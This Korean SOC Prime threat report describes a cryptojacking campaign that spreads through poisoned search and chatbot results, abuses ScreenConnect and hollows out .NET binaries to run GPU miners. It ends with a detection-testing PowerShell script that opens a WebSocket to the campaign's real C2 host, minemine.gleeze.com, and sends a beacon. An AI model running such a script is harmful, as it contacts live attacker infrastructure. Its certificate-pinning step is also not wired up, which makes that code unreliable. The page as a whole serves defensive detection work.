SOC Prime Bias: 중간

27 May 2026 15:46 UTC

유해 검색 결과에서 GPU 채굴로: ScreenConnect와 .NET 유틸리티를 사용하는 크립토재킹 캠페인

Author Photo
SOC Prime Team linkedin icon 팔로우
유해 검색 결과에서 GPU 채굴로: ScreenConnect와 .NET 유틸리티를 사용하는 크립토재킹 캠페인
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 캠페인은 SEO 독극물과 조작된 AI 챗봇 검색 결과를 사용하여 사용자를 가짜 하드웨어 모니터링 도구 다운로드로 유인합니다. 이 트로이화 설치 프로그램은 합법적인 애플리케이션에 사이드 로드되는 악성 DLL을 포함하고 있으며, 조용히 ScreenConnect를 배포합니다. 공격자들은 그런 다음 ScreenConnect를 사용하여 Microsoft 서명이 있는 .NET 바이너리를 빈 껍데기로 만들어 다음 단계의 페이로드를 주입하는 사용자 정의 RunPE 로더를 실행합니다. 마지막 단계에서는 GPU 마이닝 도구를 다운로드합니다. gminer, lolMiner, 그리고 SRBMiner-MULTI, 이후 예약된 작업, 레지스트리 실행 키, 시작 메뉴 바로가기를 통해 지속성을 유지합니다. 이 악성 코드는 또한 Windows Defender 예외를 추가하여 탐지 가능성을 줄입니다.

조사

Microsoft Defender 연구원은 DLL 사이드 로딩 방법, 원격 관리 도구로서의 ScreenConnect 오용, SimpleRunPE.exe라는 사용자 정의 RunPE 로더 사용을 포함한 전체 감염 체인을 매핑했습니다. SimpleRunPE.exe입니다. 분석가는 ScreenConnect 명령줄 인수를 복구하고 프로세스 빈 껍데기에 사용된 서명된 .NET 바이너리 목록을 식별하고 TLS 인증서로 보호된 명령 및 제어 엔드포인트를 문서화했습니다. 이 조사는 또한 캠페인과 연결된 악성 도메인, IP 주소, DNS 제공자 세부정보와 같은 지원 인프라를 드러냈습니다.

대응책

방어자는 클라우드 제공 보호를 활성화하고, 공격 표면 감소 규칙을 강제하며, 평판, 보급성 또는 연령 요구 사항을 충족하지 않는 실행 파일을 차단하고, Microsoft Defender for Endpoint에서 웹 및 네트워크 보호를 활성화해야 합니다. ScreenConnect와 같은 원격 관리 도구는 불필요한 경우 비활성화해야 하거나, 필요한 경우 엄격하게 제어되어야 하며, 승인되지 않은 예약 작업 및 의심스러운 레지스트리 실행 항목에 대한 모니터링이 필요합니다. 악성 코드가 추가한 모든 Windows Defender 예외는 즉시 제거해야 하며, 식별된 악성 도메인과 IP 주소는 차단해야 합니다.

대응

If RuntimeHost.exe or SimpleRunPE.exe 가 숨겨진 캐시 디렉토리에서 실행 중인 경우, 영향을 받은 호스트를 즉시 격리하고, 관련된 ScreenConnect 세션을 종료하며, 예약된 작업, 실행 키 및 시작 메뉴 바로가기를 포함한 모든 지속성 메커니즘을 제거합니다. 도메인 minemine.gleeze.com 및 관측된 IP 주소를 차단한 후, 환경을 가로질러 나열된 마이너 바이너리 및 autorun.dll을 수색하십시오. 마지막으로, Defender 보호 기능을 복구하고 승인되지 않은 변경 사항에 대한 예외 설정을 검토하십시오.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef technique fill:#ffdd99 classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ffcc66 classDef persistence fill:#99ff99 classDef defense fill:#ff66cc classDef privilege fill:#ffb366 classDef c2 fill:#66ccff classDef discovery fill:#c2c2f0 %% 노드 action_initial_access[“<b>행위</b> – <b>T1659 콘텐츠 삽입</b><br/>SEO 포이즈닝 및 AI 챗봇 링크가 유틸리티로 위장한 악성 ZIP 파일을 전달한다.”] class action_initial_access action technique_event_trigger[“<b>기법</b> – <b>T1546.009 AppCert DLL</b><br/>합법적인 유틸리티 옆에 배치된 autorun.dll 이 유틸리티 실행 시 로드된다.”] class technique_event_trigger technique process_msiexec[“<b>프로세스</b> – msiexec.exe”] class process_msiexec process technique_dll_injection[“<b>기법</b> – <b>T1055.001 동적 링크 라이브러리 인젝션</b><br/>autorun.dll 이 msiexec 를 호출하여 ScreenConnect 설치 프로그램이 포함된 악성 vcredist_x64.dll 을 조용히 설치한다.”] class technique_dll_injection technique technique_proxy_execution[“<b>기법</b> – <b>T1218.007 Msiexec 프록시 실행</b><br/>msiexec 가 악성 설치 프로그램을 실행하고 ScreenConnect 클라이언트를 설정한다.”] class technique_proxy_execution technique malware_screenconnect[“<b>악성코드</b> – ScreenConnect 클라이언트”] class malware_screenconnect malware persistence_scheduled[“<b>지속성</b> – <b>T1543 예약 작업</b><br/>“Windows System Health” 등의 작업이 악성코드를 다시 실행한다.”] class persistence_scheduled persistence persistence_registry[“<b>지속성</b> – <b>T1037.001 로그온 스크립트</b><br/>Registry Run 키(HKLM/HKCU\\Run\\WinSysCache)가 추가된다.”] class persistence_registry persistence persistence_startup[“<b>지속성</b> – <b>T1037.004 RC 스크립트</b><br/>Startup 폴더의 바로가기가 RuntimeHost.exe 를 가리킨다.”] class persistence_startup persistence defense_exclusions[“<b>방어 회피</b> – <b>T1564.012 파일/경로 제외</b> & <b>T1564.010 프로세스 인자 스푸핑</b><br/>파일 및 프로세스에 대한 Windows Defender 제외 항목을 추가한다.”] class defense_exclusions defense defense_impair[“<b>방어 회피</b> – <b>T1562 방어 기능 손상</b><br/>제외 항목을 사용하여 AV 탐지를 우회한다.”] class defense_impair defense defense_sandbox[“<b>방어 회피</b> – <b>T1497 가상화/샌드박스 회피</b><br/>사용자 활동 확인(T1497.002) 및 시간 기반 회피(T1497.003)를 통해 분석 환경에서 실행을 중단한다.”] class defense_sandbox defense defense_codesign[“<b>방어 회피</b> – <b>T1553.002 신뢰 제어 우회</b><br/>악성 코드가 Process Hollowing 을 통해 Microsoft 서명된 .NET 바이너리 내부에서 실행된다.”] class defense_codesign defense privilege_hollowing[“<b>권한 상승</b> – <b>T1055.012 Process Hollowing</b><br/>SimpleRunPE 는 합법적인 .NET 바이너리를 중지 상태로 실행한 후 payload 를 주입한다.”] class privilege_hollowing privilege c2_websocket[“<b>명령 및 제어</b> – <b>T1102.002 Websocket</b><br/>TLS pinning 이 적용된 암호화된 wss://minemine.gleeze.com:8443/ws 연결.”] class c2_websocket c2 discovery_info[“<b>탐색</b> – <b>T1082 시스템 정보</b>, <b>T1592.001 하드웨어</b>, <b>T1592.002 소프트웨어</b><br/>CPU, GPU, RAM, OS 버전, 보안 제품 등을 수집하여 채굴 가능성을 평가한다.”] class discovery_info discovery %% 흐름 action_initial_access –>|이어짐| technique_event_trigger technique_event_trigger –>|로드| process_msiexec process_msiexec –>|실행| technique_dll_injection technique_dll_injection –>|설치| technique_proxy_execution technique_proxy_execution –>|설치| malware_screenconnect malware_screenconnect –>|생성| persistence_scheduled malware_screenconnect –>|생성| persistence_registry malware_screenconnect –>|생성| persistence_startup malware_screenconnect –>|추가| defense_exclusions defense_exclusions –>|활성화| defense_impair defense_impair –>|지원| defense_sandbox defense_sandbox –>|지원됨| defense_codesign defense_codesign –>|활성화| privilege_hollowing privilege_hollowing –>|설정| c2_websocket c2_websocket –>|수신| discovery_info

공격 흐름

탐지

가능한 지속성 지점 [ASEPs – Software/NTUSER Hive] (등록 이벤트 경유)

SOC Prime 팀
2026년 5월 27일

Schtasks 의심 디렉터리 / 바이너리 / 스크립트 (cmdline 경유)로 포인트

SOC Prime 팀
2026년 5월 27일

대체 원격 액세스 / 관리 소프트웨어 (프로세스 생성 경유)

SOC Prime 팀
2026년 5월 27일

의심스러운 CURL 사용 (cmdline 경유)

SOC Prime 팀
2026년 5월 27일

Powershell (경유)에서 의심스러운 .NET 메서드 호출

SOC Prime 팀
2026년 5월 27일

Windows Defender 환경설정 의심스러운 변경 사항 (Powershell 경유)

SOC Prime 팀
2026년 5월 27일

가능한 회피 검사 (Powershell 경유)

SOC Prime 팀
2026년 5월 27일

시작 위치에 있는 의심스러운 이진 파일/스크립트 (file_event 경유)

SOC Prime 팀
2026년 5월 27일

IOC(SHA256 해시)를 탐지: ScreenConnect 및 Microsoft .NET 유틸리티를 악용한 GPU 마이닝: 중독된 검색 결과에서 시작된 크립토재킹 캠페인

SOC Prime AI 규칙
2026년 5월 27일

IOC(SourceIP)를 탐지: ScreenConnect 및 Microsoft .NET 유틸리티를 악용한 GPU 마이닝: 중독된 검색 결과에서 시작된 크립토재킹 캠페인

SOC Prime AI 규칙
2026년 5월 27일

IOC(DestinationIP)를 탐지: ScreenConnect 및 Microsoft .NET 유틸리티를 악용한 GPU 마이닝: 중독된 검색 결과에서 시작된 크립토재킹 캠페인

SOC Prime AI 규칙
2026년 5월 27일

빈 바이너리에서 온 C2 통신 [Windows 네트워크 연결]

SOC Prime AI 규칙
2026년 5월 27일

ScreenConnect 및 SimpleRunPE를 통한 지속적인 원격 액세스와 프로세스 빈 껍데기 [Windows 프로세스 생성]

SOC Prime AI 규칙
2026년 5월 27일

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 비행 검사가 통과해야 합니다.

근거: 이 섹션은 감지 규칙을 트리거하도록 설계된 적의 기술적 전술(TTP)의 정확한 실행을 자세히 설명합니다. 명령과 서사는 식별된 TTP를 직접 반영해야 하며, 감지 논리에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 서사 및 명령:
    공격자가 이미 빈 쉘로 된 합법적인 바이너리 를 피해자 기계에 전달했습니다. 이제 바이너리는 웹 소켓 을 통해 지속적인 C2 채널을 시작합니다 wss://minemine.gleeze.com:8443/ws. 이를 에뮬레이션하기 위해 .NET ClientWebSocket을 생성하고 (인증서 핀닝 시뮬레이션을 위해) 선택적으로 사용자 정의 TLS 인증서 유효성 검사 콜백을 설정하며, 잠시 동안 연결을 유지하는 PowerShell 스크립트를 사용합니다.

  • 회귀 테스트 스크립트:

    # 빈 쉘 바이너리의 C2 통신 시뮬레이션
    # 요구 사항: PowerShell 5+ (.NET 클래스 내장)
    $c2Url = 'wss://minemine.gleeze.com:8443/ws'
    
    # 웹 소켓 클라이언트 생성
    $ws = [System.Net.WebSockets.ClientWebSocket]::new()
    
    # 선택 사항: 인증서 핀닝 확인(특정 서명만 수락)
    $allowedThumbprint = 'ABCD1234EF567890ABCD1234EF567890ABCD1234'  # 자리 표시자
    $handler = [System.Net.Http.HttpClientHandler]::new()
    $handler.ServerCertificateCustomValidationCallback = {
        param($sender, $cert, $chain, $sslPolicyErrors)
        $cert.Thumbprint -eq $allowedThumbprint
    }
    
    try {
        Write-Host "C2 엔드포인트 $c2Url 에 연결 중..."
        $ws.ConnectAsync([System.Uri]::new($c2Url), [System.Threading.CancellationToken]::None).Wait()
        Write-Host "연결이 성립되었습니다. 비콘 페이로드를 전송합니다..."
    
        # 더미 비콘(JSON) 전송
        $payload = '{ "beat": "alive", "ts": "' + (Get-Date).ToString('o') + '" }'
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
        $segment = [System.ArraySegment[byte]]::new($bytes)
        $ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
    
        Start-Sleep -Seconds 10   # 짧은 시간 동안 채널을 열어둡니다
    }
    finally {
        Write-Host "웹 소켓 종료 중..."
        $ws.Abort()
    }
  • 정리 명령:

    # 남아 있는 웹 소켓 프로세스가 종료되도록 합니다
    Get-Process -Name powershell | Where-Object { $_.MainWindowTitle -match 'WebSocket' } | Stop-Process -Force
    # 테스트에 사용된 임시 파일을 선택적으로 제거
    Remove-Item -Path "$env:TEMP*C2Simulation*" -Force -ErrorAction SilentlyContinue